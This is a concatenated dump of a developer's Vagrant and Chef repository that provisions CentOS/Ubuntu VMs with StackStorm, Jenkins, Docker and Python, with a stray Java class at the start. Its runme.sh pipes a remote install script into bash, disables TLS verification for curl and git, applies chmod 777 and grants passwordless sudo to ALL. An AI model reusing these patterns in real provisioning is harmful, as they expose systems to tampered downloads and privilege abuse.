<file_sep>/Digital Innovation Java/src/main/java/Digital/Innovation/Java/caracteristicas/classes/pessoa/Usuario.java
package Digital.Innovation.Java.caracteristicas.classes.pessoa;
import Digital.Innovation.Java.caracteristicas.classes.usuario.SuperUsuario;
public class Usuario extends SuperUsuario {
public Usuario(final String login, final String senha) {
super(login, senha);
}
}
|
efc71a7efdcb6510dd00fa7723bc0b5067b64c69
|
[
"Java"
] | 12 |
Java
|
Billmetal/desenvolvimento-basico-java
|
0fcc6f5d0e8945297b27bc12beb1a182c3dab3c7
|
5cf9406b327f2909a19da8f17df716e1afc87eba
|
refs/heads/master
|
<file_sep>#!/usr/bin/env bash
# exit 0
set -ex
yum groupinstall -y 'gnome desktop'
yum install -y 'xorg*'
yum remove -y initial-setup initial-setup-gui
systemctl isolate graphical.target
systemctl set-default graphical.target # to make this persistant
<file_sep>name 'chef-demo'<file_sep>Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.network "private_network", type: "dhcp"
end
<file_sep># -*- mode: ruby -*-
# vi: set ft=ruby :
require 'getoptlong'
VAGRANTFILE_API_VERSION = "2"
opts = GetoptLong.new(
[ '--install', GetoptLong::OPTIONAL_ARGUMENT ]
)
install=''
opts.each do |opt, arg|
case opt
when '--install'
install=arg
end
end
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.box = "bento/centos-7.4"
config.vm.hostname = "hiflexdev002"
config.vm.network :private_network, ip: "192.168.16.26"
# config.vm.network "private_network", type: "dhcp"
config.ssh.forward_agent = true
config.vm.provider :virtualbox do |vb|
vb.name = "hiflexdev002"
# vb.gui = true
vb.customize [
'modifyvm', :id,
'--natdnshostresolver1', 'on',
'--memory', '4096',
'--cpus', '2'
]
end
# Enable after first installation (cifs-utils)
# config.vm.synced_folder "C:/Users/dcoate/Documents/VagrantBoxes/st2-sandbox/Vagrant/st2packs", "/opt/stackstorm/packs", type: "smb"
# config.vm.synced_folder ".", "/vagrant", disabled: true
config.vm.provision "shell", path: "provision.sh"
config.vm.provision :file, source: "runme.sh", destination: "/home/vagrant/runme.sh"
config.vm.provision :file, source: "load-guest-additions.sh", destination: "/home/vagrant/load-guest-additions.sh"
config.vm.provision :file, source: "load-vscode.sh", destination: "/home/vagrant/load-vscode.sh"
# config.vm.provision :file, source: "../kitchen.yml", destination: "/home/vagrant/kitchen.yml"
# config.vm.provision "shell", path: "vagrant-kick.sh", privileged: true, args: "--install=#{install}"
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "st2-sandbox"
end
end<file_sep># Information source: run vagrant/virtualbox/centos7 in GUI mode
# https://codingbee.net/tutorials/vagrant/vagrant-enabling-a-centos-vms-gui-mode
Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.network "private_network", type: "dhcp"
config.vm.provider "virtualbox" do |vb|
vb.gui = true # brings up the vm in gui window
vb.memory = 2048
vb.cpus = 2
end
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "python"
end
end
# Clear top warning bars and logon
# cd /vagrant
# no need to set execute permisions
# sudo ./gui.sh
# Note: could not execute a file that was created on host/shared folder
# solution was to create file on guest and then copy contents at the host
# sudo su to root before running script
# When script is complete: `vagrant halt ; vagrant up` at host
# logon with password '<PASSWORD>'
# right 'ctrl' key to release mouse
#####################################
# Increase video resolution
#####################################
# new vm settings: set video memory to 128mb from vb gui (halt machine first)
# install VirtualBox Guest additions specific to host version of VirtualBox
# vboxmanage --version
# 5.2.12r122591
# Therefore, downloading VBoxGuestAdditions_5.2.12.iso
# from http://download.virtualbox.org/virtualbox/5.2.12/
# to my downloads on laptop (host)
# yum install kernel-devel
# Make a place to mount the iso and then mount it.
# mkdir /mnt/VBoxLinuxAdditions
# mount /dev/cdrom /mnt/VBoxLinuxAdditions
# Run the install script
# sh /mnt/VBoxLinuxAdditions/VBoxLinuxAdditions.run
# Source: https://www.megajason.com/2017/06/10/install-virtualbox-guest-additions-on-centos-7/
# Set up shared clipboard from the devices menu
# upgrade git and install vscode
# sudo yum install git -y
# Installs an old version
# sudo yum install http://opensource.wandisco.com/centos/7/git/x86_64/wandisco-git-release-7-2.noarch.rpm
# sudo yum install/upgrade git -y
# VSCode Install process
# sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc
# sudo sh -c 'echo -e "[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc" > /etc/yum.repos.d/vscode.repo'
# yum check-update
# sudo yum install code -y
# Enter `code` in the terminal to launch (for now...)
#####################################
# Manual steps accomplished by script
#####################################
# sudo -i
# yum groupinstall -y 'gnome desktop'
# yum install -y 'xorg*'
# yum remove -y initial-setup initial-setup-gui
# systemctl isolate graphical.target
# systemctl set-default graphical.target # to make this persistant
<file_sep>#!/usr/bin/env bash
yum install dos2unix -y
yum install cifs-utils -y
yum check-update -y
yum upgrade -y<file_sep># This line takes a long time and may not be strictly necessary?
# execute "yum -y update"
execute "yum -y install yum-utils"
execute "yum -y groupinstall development"
execute "yum -y install https://centos7.iuscommunity.org/ius-release.rpm"
package "python36u"
# execute "yum -y install python36u"
package "python36u-pip"
package "python36u-devel"
package "vim-enhanced"<file_sep># Current vagrant boxes:
* jenkins-docker
* container building jenkins pipeline here
* highly useful
* PostGres
* was built for LA course,
* `psql postgres://coateds:[email protected]:80/sample -c "SELECT count(id) FROM employees;"`
* python-27-gui - This is no longer needed??
* python 2.7.5 installed
* gui installed
* To be used to dev syntax for container pipeline
* PythonDevCen
* Python 3.6
* gui
* PythonDevUbu
* Never really developed
* st2-sandbox
* StackStorm installed
* Python 2.7.5
* GUI
* Firefox
* https://192.168.16.26:3002/ for Runway
* https://localhost/ for Stackstorm
* hiflexdev001
* 192.168.16.25
* runway --- Shut this down in deference to the Win10 IntelliJ box??
* Runway installed
* No GUI installed
* python 2.7.5
* To be used to dev syntax for container pipeline
* https://[ipaddress]:3002 to see local (dev) instance of runway
* hiflexdev002
* 192.168.16.26
* win10-runway-dev
* My first Vagrant Windows
* Loaded with IntelliJ/Git/Runway
* This works! Keep!
# Trying to go a bit futher with chef-solo:
* https://andrewtarry.com/chef_with_vagrant/
* chef-demo
* Ubuntu trying to replicate process from <NAME>
* win10-chef-demo
* migrate from chef demo to Windows
* Goal is Chocolatey
# Build processes
## vagrant/CentOS74/GUI
Start with the gui OFF
Vagrantfile:
```
Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.network "private_network", type: "dhcp"
config.vm.provider "virtualbox" do |vb|
# vb.gui = true # brings up the vm in gui window
vb.memory = 2048
vb.cpus = 2
end
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "[cookbook]"
end
end
```
cookbooks/[cookbook]/recipes/default.rb
```
# Add/Configure the wandisco repo to get the latest version of Git
remote_file '/etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco' do
source 'http://opensource.wandisco.com/RPM-GPG-KEY-WANdisco'
action :create
end
file "/etc/yum.repos.d/wandisco-git.repo" do
content "[WANdisco-git]
name=WANdisco Distribution of git
baseurl=http://opensource.wandisco.com/rhel/$releasever/git/$basearch
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco"
end
package "git"
package "vim-enhanced"
package "dos2unix"
package "kernel-devel"
file "/etc/yum.repos.d/docker.repo" do
content "[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/7/
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg"
end
package "docker-engine"
service "docker" do
action [:enable, :start]
end
# This is experimental from here!!
execute "yum groupinstall -y 'gnome desktop'"
execute "yum install -y 'xorg*'"
execute "yum remove -y initial-setup initial-setup-gui"
execute "systemctl isolate graphical.target"
execute "systemctl set-default graphical.target"
```
!! Docker must be installed to install rw & ct
When complete, shutdown and insert a CDRom from the VirtualBox GUI
* load VBoxGuestAdditions_5.2.12.iso
* functionality moved to script
* `sudo mkdir /mnt/VBoxLinuxAdditions`
* `sudo mount /dev/cdrom /mnt/VBoxLinuxAdditions`
* Run the install script - `sudo sh /mnt/VBoxLinuxAdditions/VBoxLinuxAdditions.run`
Also increase video memory to 64
Turn the gui on in the Vagrantfile and start
[install vscode procedure]
## Set up StackStorm
In the Vagrantfile:
`config.vm.provision :file, source: "runme.sh", destination: "/home/vagrant/runme.sh"`
copies the script from the host
* chmod
* dos2unix
* mod the sh script change grep st2 to grep st22
```
if [[ ! $(rpm -qa | grep st2) ]]; then
st2="st2 Install_Stackstorm OFF "
fi
```
Copy examples to st2 content directory
* `sudo cp -r /usr/share/doc/st2/examples/ /opt/stackstorm/packs/`
Login
* `st2 login [admin]`
Run setup
* `st2 run packs.setup_virtualenv packs=examples`
Reload stackstorm context
* `st2ctl reload --register-all`
## Setup IDE (VSCode)
* Put user vagrant in st2packs group
* `sudo usermod -a -G st2packs vagrant`
* chgrp examples pack (and others as needed)
* chmod g+w as needed
# Setup multiple hosts in one vagrant file
```Ruby
Vagrant.configure("2") do |config|
# Every Vagrant development environment requires a box.
config.vm.box = "CentOS7"
# The url from where the 'config.vm.box' box will be fetched
config.vm.box_url = "http://cloud.centos.org/centos/7/vagrant/x86_64/images/CentOS-7-x86_64-Vagrant-1805_01.VirtualBox.box"
# Setup for Host1
config.vm.define "host1" do |host1|
host1.vm.hostname = "host1"
host1.vm.network "private_network", type: "dhcp"
end
# Setup for Host2
config.vm.define "host2" do |host2|
host2.vm.hostname = "host2"
host2.vm.network "private_network", type: "dhcp"
end
end
```
# Syncd folders (bi-drectional Windows Host, Linux Guest)
`sudo yum install cifs-utils -y`
Vagrantfile
```
Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.network "private_network", type: "dhcp"
config.vm.provider "virtualbox" do |vb|
vb.memory = 2048
vb.cpus = 2
# Weird, this seems to need to be here inside this 'loop'
config.vm.synced_folder "sync/", "/vagrant", type: "smb"
end
end
```
<file_sep># Add/Configure the wandisco repo to get the latest version of Git
remote_file '/etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco' do
source 'http://opensource.wandisco.com/RPM-GPG-KEY-WANdisco'
action :create
end
file "/etc/yum.repos.d/wandisco-git.repo" do
content "[WANdisco-git]
name=WANdisco Distribution of git
baseurl=http://opensource.wandisco.com/rhel/$releasever/git/$basearch
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco"
end
package "git"
package "vim-enhanced"
package "dos2unix"
# package "kernel-devel"
# file "/etc/yum.repos.d/docker.repo" do
# content "[dockerrepo]
# name=Docker Repository
# baseurl=https://yum.dockerproject.org/repo/main/centos/7/
# enabled=1
# gpgcheck=1
# gpgkey=https://yum.dockerproject.org/gpg"
# end
#
# package "docker-engine"
#
# service "docker" do
# action [:enable, :start]
# end
#
# # I need to add 'jenkins' as well
# group 'docker' do
# action :modify
# members ['vagrant']
# append true
# end
execute "dos2unix /home/vagrant/load-guest-additions.sh"
execute "dos2unix /home/vagrant/load-vscode.sh"
execute "dos2unix /home/vagrant/runme.sh"
file '/home/vagrant/runme.sh' do
mode '0674'
end
file '/home/vagrant/load-vscode.sh' do
mode '0674'
end
file '/home/vagrant/load-guest-additions.sh' do
mode '0674'
end
# This is experimental from here!!
# execute "yum groupinstall -y 'gnome desktop'"
# execute "yum install -y 'xorg*'"
# execute "yum remove -y initial-setup initial-setup-gui"
# execute "systemctl isolate graphical.target"
# execute "systemctl set-default graphical.target"
<file_sep>source "https://supermarket.chef.io"
metadata
cookbook 'php', '~> 1.5.0'<file_sep># package "git"<file_sep>
Vagrant.configure("2") do |config|
# Version 12.04
# config.vm.box = "hashicorp/precise64"
# Version 14.04
# config.vm.box = "ubuntu/trusty64"
# Version 16.04
# Comes with Python 3.5.2
# config.vm.box = "ubuntu/xenial64"
# Version 18.04
config.vm.box = "ubuntu/bionic64"
config.vm.provider "virtualbox" do |vb|
vb.gui = true # brings up the vm in gui window
vb.memory = 2048
vb.cpus = 2
end
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "ubuntu-python-dev"
end
end
<file_sep># This line takes a long time and may not be strictly necessary?
# execute "yum -y update"
# this did not really work the way I wanted it to
# it seemed to require a reboot and other servers could not resolve with
# an entry in /etc/hosts
# hostname 'jenkins-docker'
package "java-1.8.0-openjdk"
package "epel-release"
package "vim-enhanced"
package "git"
package "sshpass"
file "/etc/yum.repos.d/jenkins.repo" do
content "[jenkins]
name=Jenkins-stable
baseurl=http://pkg.jenkins.io/redhat-stable
gpgcheck=1
gpgkey=https://jenkins-ci.org/redhat/jenkins-ci.org.key"
end
package "jenkins-2.121.1"
service "jenkins" do
action [:enable, :start]
end
file "/etc/yum.repos.d/docker.repo" do
content "[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/7/
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg"
end
remote_file '/etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco' do
source 'http://opensource.wandisco.com/RPM-GPG-KEY-WANdisco'
action :create
end
file "/etc/yum.repos.d/wandisco-git.repo" do
content "[WANdisco-git]
name=WANdisco Distribution of git
baseurl=http://opensource.wandisco.com/rhel/$releasever/git/$basearch
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco"
end
package "docker-engine"
service "docker" do
action [:enable, :start]
end
# I need to add 'jenkins' as well
group 'docker' do
action :modify
members ['vagrant', 'jenkins']
append true
end
file "/home/vagrant/my-file.txt" do
content "This is my file"
end
# execute "yum -y install yum-utils"
# execute "yum -y groupinstall development"
# execute "yum -y install https://centos7.iuscommunity.org/ius-release.rpm"
# package "python36u"
# execute "yum -y install python36u"
# package "python36u-pip"
# package "python36u-devel"
# https://jenkins-ci.org/redhat/jenkins-ci.org.key<file_sep># -*- mode: ruby -*-
# vi: set ft=ruby :
require 'getoptlong'
opts = GetoptLong.new(
[ '--install', GetoptLong::OPTIONAL_ARGUMENT ]
)
install=''
opts.each do |opt, arg|
case opt
when '--install'
install=arg
end
end
Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.hostname = "hiflexdev001"
config.vm.network :private_network, ip: "192.168.16.25"
config.vm.network "private_network", type: "dhcp"
config.ssh.forward_agent = true
config.vm.provider :virtualbox do |vb|
vb.name = "hiflexdev001"
vb.gui = true
vb.customize [
'modifyvm', :id,
'--natdnshostresolver1', 'on',
'--memory', '4096',
'--cpus', '2'
]
end
config.vm.provision "shell", path: "provision.sh"
config.vm.provision :file, source: "runme.sh", destination: "/home/vagrant/runme.sh"
config.vm.provision :file, source: "load-guest-additions.sh", destination: "/home/vagrant/load-guest-additions.sh"
config.vm.provision :file, source: "load-vscode.sh", destination: "/home/vagrant/load-vscode.sh"
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "st2-sandbox"
end
end
<file_sep>Vagrant.configure("2") do |config|
config.vm.box = "bento/centos-7.4"
config.vm.network "private_network", type: "dhcp"
config.vm.provider "virtualbox" do |vb|
# vb.gui = true # brings up the vm in gui window
vb.memory = 2048
vb.cpus = 2
end
# config.vm.provision "shell", path: "provision.sh"
config.vm.provision "chef_solo" do |chef|
chef.add_recipe "jenkins-docker"
end
end
# Install Jenkins Manual steps
# sudo yum -y install java-1.8.0-openjdk epel-release
# sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat-stable/jenkins.repo
# sudo rpm --import https://jenkins-ci.org/redhat/jenkins-ci.org.key
# sudo yum -y install jenkins-2.121.1
# sudo systemctl enable jenkins
# sudo systemctl start jenkins<file_sep>==> default: Mounting shared folders...
default: /vagrant => C:/Users/dcoate/Documents/VagrantBoxes/PythonDevUbu
C:\Users\dcoate\Documents\VagrantBoxes\PythonDevUbu> vagrant init hashicorp/precise64
build structure for Chef cookbook
└───cookbooks
└───ubuntu-python-dev
└───recipes
In this simplest of iterations, Chef is invoked and installs git. It needs to run an update first, but over to CentOS next<file_sep># Add/Configure the wandisco repo to get the latest version of Git
remote_file '/etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco' do
source 'http://opensource.wandisco.com/RPM-GPG-KEY-WANdisco'
action :create
end
file "/etc/yum.repos.d/wandisco-git.repo" do
content "[WANdisco-git]
name=WANdisco Distribution of git
baseurl=http://opensource.wandisco.com/rhel/$releasever/git/$basearch
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-WANdisco"
end
package "git"
package "vim-enhanced"
package "kernel-devel"
# This is experimental from here!!
execute "yum groupinstall -y 'gnome desktop'"
execute "yum install -y 'xorg*'"
execute "yum remove -y initial-setup initial-setup-gui"
execute "systemctl isolate graphical.target"
execute "systemctl set-default graphical.target"
######################
# Turns out all of this good work was a waste of time
# The Centos 7.4 vagrant image I am using already includes
# Python 2.7.5
# Keeping the work for future reference
######################
# package "gcc"
# package "openssl-devel"
# package "bzip2-devel"
#
# remote_file '/usr/src/Python-2.7.15.tgz' do
# source 'https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tgz'
# action :create
# end
#
# # There seems to be no Chef built in resource to untar something
# # Use execute to extract to /usr/src/Python-2.7.15
# execute 'extract Python-2.7.15' do
# command 'tar xzf Python-2.7.15.tgz'
# cwd '/usr/src'
# not_if { File.exists?("/usr/src/Python-2.7.15/setup.py") }
# end
#
# # Now execute from /usr/src/Python-2.7.15
# # ./configure --enable-optimizations
# # make altinstall
#
# # This will create a Makefile - yes
# # idempotence works with this test!!
# execute 'enable optimizations' do
# command '/usr/src/Python-2.7.15/configure --enable-optimizations'
# cwd '/usr/src/Python-2.7.15'
# not_if { File.exists?("/usr/src/Python-2.7.15/Makefile") }
# end
#
# # This will install python 2.7.15 - yes
# # idempotence works with this test!!
# execute 'make python' do
# command 'make altinstall'
# cwd '/usr/src/Python-2.7.15'
# not_if { File.exists?("/usr/local/bin/python2.7") }
# end
# Stopping here to work on Chad's st2-sandbox<file_sep>#!/bin/bash
# Get any passed in param options, this is mainly for vagrant builds
if [[ $1 ]]; then
if [[ $(echo $1 | grep st2) ]]; then
st2="st2"
fi
if [[ $(echo $1 | grep st2) ]]; then
st2="kitchen"
fi
if [[ $(echo $1 | grep st2) ]]; then
st2="ct"
fi
if [[ $(echo $1 | grep st2) ]]; then
st2="rw"
fi
fi
# set the default st2 user, password and version
st2user="st2admin"
st2passwd="<PASSWORD>"
st2release="stable"
st2version="2.6.1"
# Get the local user who is doing the work/install
user=$(who | awk '{print $1}' | uniq)
group=$(getent passwd ${user} | awk -F ':' '{print $4}')
domain=$(hostname -d)
# Where is this launched from, starting directory
startdir=$(pwd)
# Determine the fqdn of the stash server
if [[ ${domain} == "karmalab.net" ]]; then
stash="stash.karmalab.net"
elif [[ ${domain} == "idxlab.expedmz.net" ]]; then
stash="stash.karmalab.net"
elif [[ ${domain} == "sea.corp.expecn.com" ]]; then
stash="stash.sea.corp.expecn.com"
elif [[ ${domain} == "idxcorp.expedmz.com" ]]; then
stash="stash.sea.corp.expecn.com"
else
stash="stash.sea.corp.expecn.com"
fi
if [[ ! -d /opt ]]; then
mkdir /opt
fi
#start of the UI for choosing install options
# THis loop is to ensure the person launching this is in evacadmins
#if [[ ! $(getent group evacadmins | grep ${user}) ]];then
# echo "I am sorry, but your no in the SG evacadmins and can't continue."
# exit
#fi
# IF no passed in params, determine what has already been installed
if [[ $# == 0 ]]; then
if [[ ! $(rpm -qa | grep st2-2.6.1) ]]; then
st2="st2 Install_Stackstorm OFF "
fi
if [[ ! $(rpm -qa | grep chefdk) ]]; then
kitchen="kitchen Install_ChefDK_and_Test_Kitchen OFF "
fi
if [[ ! -d /opt/runway ]]; then
rw="rw Install_Runway OFF "
fi
if [[ ! -d /opt/controltower ]]; then
ct="ct Install_ControlTower OFF "
fi
fi
# If no passed in params, launch the initial whiptail to ask what you want installed
# Choices will be stored in a file called choices in the start directory
if [[ $# == 0 ]]; then
content="${st2} ${kitchen} ${rw} ${ct}"
whiptail --title "What do you want to install?" --checklist \
"Choose what you want installed" 20 78 5 \
"packs" "Chose_what_Stackstorm_packs_to_install" OFF \
"renew_vault" "Only use this to update vault token" OFF \
${content} 2>${startdir}/choices
else
echo $1 | awk -F '=' '{print $2}' >${startdir}/choices
fi
# Install EPEL
if [[ $(grep 'st2\|ct\|rw\|kitchen' ${startdir}/choices) ]]; then
if [[ ! -f /etc/yum.repos.d/epel.repo ]]; then
echo "*** Installing EPEL ***"
yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
fi
if [[ ! -f /etc/pki/ca-trust/source/anchors/Expedia\ Internal\ 1C.crt ]]; then
echo "*** Installing internal Expedia certs"
curl -ks https://${stash}/projects/SCSC/repos/scs_ca_certificates/raw/files/default/Expedia%20Internal%201C.pem?at=refs%2Fheads%2Fmaster > /etc/pki/ca-trust/source/anchors/Expedia\ Internal\ 1C.crt
fi
if [[ ! -f /etc/pki/ca-trust/source/anchors/Expedia\ MS\ Root\ CA\ \(2048\).crt ]]; then
curl -ks https://${stash}/projects/SCSC/repos/scs_ca_certificates/raw/files/default/Expedia%20MS%20Root%20CA%20\(2048\).pem?at=refs%2Fheads%2Fmaster > /etc/pki/ca-trust/source/anchors/Expedia\ MS\ Root\ CA\ \(2048\).crt
fi
if [[ ! -f /etc/pki/ca-trust/source/anchors/ExpediaRoot2015.crt ]]; then
curl -ks https://stash.sea.corp.expecn.com/projects/SCSC/repos/scs_ca_certificates/raw/files/default/ExpediaRoot2015.pem?at=refs%2Fheads%2Fmaster > /etc/pki/ca-trust/source/anchors/ExpediaRoot2015.crt
fi
if [[ ! -f /etc/pki/ca-trust/source/anchors/Internal2015C1.crt ]]; then
curl -ks https://stash.sea.corp.expecn.com/projects/SCSC/repos/scs_ca_certificates/raw/files/default/Internal2015C1.pem?at=refs%2Fheads%2Fmaster > /etc/pki/ca-trust/source/anchors/Internal2015C1.crt
fi
update-ca-trust extract
update-ca-trust force-enable
fi
# Parse the choices file to start the installs
# Install Stackstorm
if [[ $(grep st2 ${startdir}/choices) ]]; then
# Select between recent stable (e.g. 1.4) or recent unstable (e.g. 1.5dev)
if [[ $# > 2 ]]; then
if [[ ${st2release} == "stable" ]] || [[ ${st2release} == "unstable" ]]
then
RELEASE_FLAG="--${st2release}"
else
echo -e "Use 'stable' for recent stable release, or 'unstable' to live on the edge."
exit 2
fi
fi
echo "*** Let's install some net tools ***"
RHTEST=`cat /etc/redhat-release 2> /dev/null | sed -e "s~\(.*\)release.*~\1~g"`
if [[ -n "$RHTEST" ]]; then
echo "*** Detected Distro is ${RHTEST} ***"
hash curl 2>/dev/null || { sudo yum install -y curl; sudo yum install -y nss; }
sudo yum update -y curl nss
else
echo "Unknown Operating System."
echo "See list of supported OSes: https://github.com/StackStorm/st2vagrant/blob/master/README.md."
exit 2
fi
RHMAJVER=`cat /etc/redhat-release | sed 's/[^0-9.]*\([0-9.]\).*/\1/'`
echo "*** Let's install some dev tools ***"
if [[ -n "$RHTEST" ]]; then
if [[ "$RHMAJVER" == '6' ]]; then
sudo yum install -y centos-release-SCL
sudo yum install -y python27
echo "LD_LIBRARY_PATH=/opt/rh/python27/root/usr/lib64:$LD_LIBRARY_PATH" | sudo tee -a /etc/environment
sudo ln -s /opt/rh/python27/root/usr/bin/python /usr/local/bin/python
sudo ln -s /opt/rh/python27/root/usr/bin/pip /usr/local/bin/pip
source /etc/environment
elif [[ "$RHMAJVER" == '7' ]]; then
sudo yum install -y python
fi
sudo yum install -y python-pip git jq python2-pip
fi
echo "*** Let's install some python tools ***"
sudo -H pip install --upgrade pip
sudo -H pip install virtualenv
sudo -H pip install python-editor
sudo -H pip install prompt_toolkit
sudo -H pip install argcomplete
sudo -H pip install st2client
echo "*** Let's install StackStorm ***"
curl -sSL https://stackstorm.com/packages/install.sh | bash -s -- --user=${st2user} --password=${<PASSWORD>} --version=${st2version} ${st2release}
echo "*** Disable logging passwords to log ***"
sed -i 's/LOG.info/#LOG.info/g' /opt/stackstorm/st2/lib/python2.7/site-packages/st2common/util/jinja.py
fi
# Install chefdk and kitchen
if [[ $(grep kitchen ${startdir}/choices) ]]; then
echo "*** Let's install ChefDK ***"
yum install -y https://packages.chef.io/files/stable/chefdk/2.4.17/el/7/chefdk-2.4.17-1.el7.x86_64.rpm
echo "*** Let's install Docker ***"
yum install -y docker
fi
# Get Chef environment file. MUST be on vpn or inside network.
if [[ ! -f ${startdir}/env.json ]]; then
curl -s -k https://${stash}/projects/EFSC/repos/chef_environments-lab/raw/stackstorm-idxlab-ch.json?at=refs%2Fheads%2Fmaster > ${startdir}/env.json
fi
# Install st2 packs, only works IF stackstorm is installed already
if [[ $(grep packs ${startdir}/choices) ]]; then
if [[ ! $(rpm -qa | grep st2) ]]; then
echo "You must install stackstorm first"
exit
fi
echo "*** Let's get some stackstorm packs in place, this will take some time ***"
if [[ ! -f /bin/tidy ]]; then
yum install -y tidy
fi
count=$(curl -s https://${stash}/projects/EFSC | tidy -q --show-warnings no --show-errors 0 | grep data-repo | grep st2-pack |awk -F '>' '{print $2}' | sed s'/<\/a//g' | wc -l)
list=$(curl -s https://${stash}/projects/EFSC | tidy -q --show-warnings no --show-errors 0 | grep data-repo | grep st2-pack |awk -F '>' '{print $2}' | sed s'/<\/a//g')
height=$((${count} + 10))
content=$(for d in ${list};do echo -ne "${d} ${d} off "; done)
whiptail --checklist "choose your packs" ${height} 60 ${count} ${content} 2>${startdir}/out
for i in $(cat out);
do
i=$(echo ${i} | sed s/\"//g)
if [[ ! -d /opt/stackstorm/packs/$(echo $i | sed s/st2-pack-//) ]]; then
if [[ $(who | awk '{print $1}' | uniq) == "vagrant" ]]; then
st2 pack install https://${stash}/scm/efsc/${i}.git
else
st2 pack install https://${user}@${stash}/scm/efsc/${i}.git
fi
# get the registered config files for each pack.
shortname=$(echo $i | sed 's/st2-pack-//')
config=$(cat ${startdir}/env.json | jq -j ".default_attributes.environment.st2packs.${shortname}.config_file")
if [[ ${config} != "null" ]]; then
ln -s /opt/stackstorm/packs/${shortname}/${config} /opt/stackstorm/configs/${shortname}.yaml
fi
fi
done
# change perms so anyone can git pull
# This is probably something that needs more work
cd /opt/stackstorm/packs/
for i in $(cat ${startdir}/out)
do
i=$(echo ${i} | sed s/\"//g | sed s/st2-pack-//)
sudo chmod -R 777 ${i}/.git;
done
chown -R ${user} /opt/stackstorm/packs/
chown -R ${user} /opt/stackstorm/configs
# fixing sudoers
echo "st2 ALL=(ALL) NOPASSWD: SETENV: ALL" > /etc/sudoers.d/st2
echo "root ALL=(ALL) ALL" >> /etc/sudoers.d/st2
echo "Defaults !requiretty" >> /etc/sudoers.d/st2
# setup the aliases that make life easier
if [[ ! $(grep st2reload /home/${user}/.bash_profile) ]]; then
echo "alias st2reload=\"st2ctl reload --register-actions && st2ctl reload --register-configs\"" >> /home/$user/.bash_profile
echo "PATH=/opt/rh/rh-ruby23/root/usr/local/bin:/opt/rh/rh-ruby23/root/usr/bin:/usr/lib64/qt-3.3/bin:/sbin:/bin:/usr/sbin:/usr/bin:$HOME/.chefdk/gem/ruby/2.4.0/bin" >> /home/$user/.bash_profile
echo "export PATH" >> /home/$user/.bash_profile
fi
for i in $(cat ${startdir}/out)
do
i=$(echo ${i} | sed s/\"//g | sed s/st2-pack-//)
if [[ -d /opt/stackstorm/packs/${i} ]]; then
echo "alias ${i}=\"cd /opt/stackstorm/packs/${i} && git pull\"" >> /home/$user/.bash_profile
echo "alias ${i}.action=\"cd /opt/stackstorm/packs/${i}/actions && git pull\"" >> /home/$user/.bash_profile
echo "alias ${i}.chain=\"cd /opt/stackstorm/packs/${i}/actions/chains && git pull\"" >> /home/$user/.bash_profile
fi
done
fi
# Install kitchen extra bits
if [[ $(grep kitchen ${startdir}/choices) ]]; then
/bin/cat <<EOF>/etc/profile.d/enablerh_ruby23.sh
#!/bin/bash
source scl_source enable rh-ruby23
EOF
echo "*** Let's create a test kitchen instance ***"
cd /home/${user}/
if [[ ! -d kitchen/first_kitchen ]]; then
mkdir -p kitchen/first_kitchen
cd kitchen/first_kitchen
kitchen init
cat ${startdir}/kitchen.yml > /home/${user}/kitchen/first_kitchen/.kitchen.yml
chown -R ${user}:${group} /home/${user}
fi
echo "*** Setting up ruby2.3 ***"
sudo yum -y install centos-release-scl
sudo yum -y install rh-ruby23 rh-ruby23-ruby-devel gcc
source scl_source enable rh-ruby23
gem install kitchen-docker
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum-config-manager --enable docker-ce-edge
sudo yum-config-manager --enable docker-ce-test
sudo systemctl start docker
sudo groupadd docker
sudo usermod -aG docker ${user}
sudo systemctl enable docker
fi
# Install Runway and all of it's deps
if [[ $(grep rw ${startdir}/choices) ]]; then
echo "*** Let's setup a Runway dev area ***"
yum install -y moreutils python-devel openldap-devel python-ldap nginx python2-pip gcc git
cd /opt
git config --global http.sslVerify false
git clone https://stash/scm/evac/runway.git
git config --global http.sslVerify true
cd /opt/runway
chmod 775 runway.py
sed -i 's/app.logger.info/#app.logger.info/g' run.py
pip install --upgrade pip
pip install -r requirements.txt
pip install hvac
pip install flask_profiler
cd /opt
chown -R ${user} runway
fi
# Install ControlTower and all of it's deps
if [[ $(grep ct ${startdir}/choices) ]]; then
echo "*** Let's setup a ControlTower dev area ***"
yum install -y moreutils python-devel openldap-devel python-ldap nginx python2-pip gcc git
cd /opt
git config --global http.sslVerify false
git clone https://stash/scm/evac/controltower.git
git config --global http.sslVerify true
cd /opt/controltower
pip install --upgrade pip
pip install -r requirements.txt
cd /opt
chown -R ${user} controltower
fi
# Download the vault client
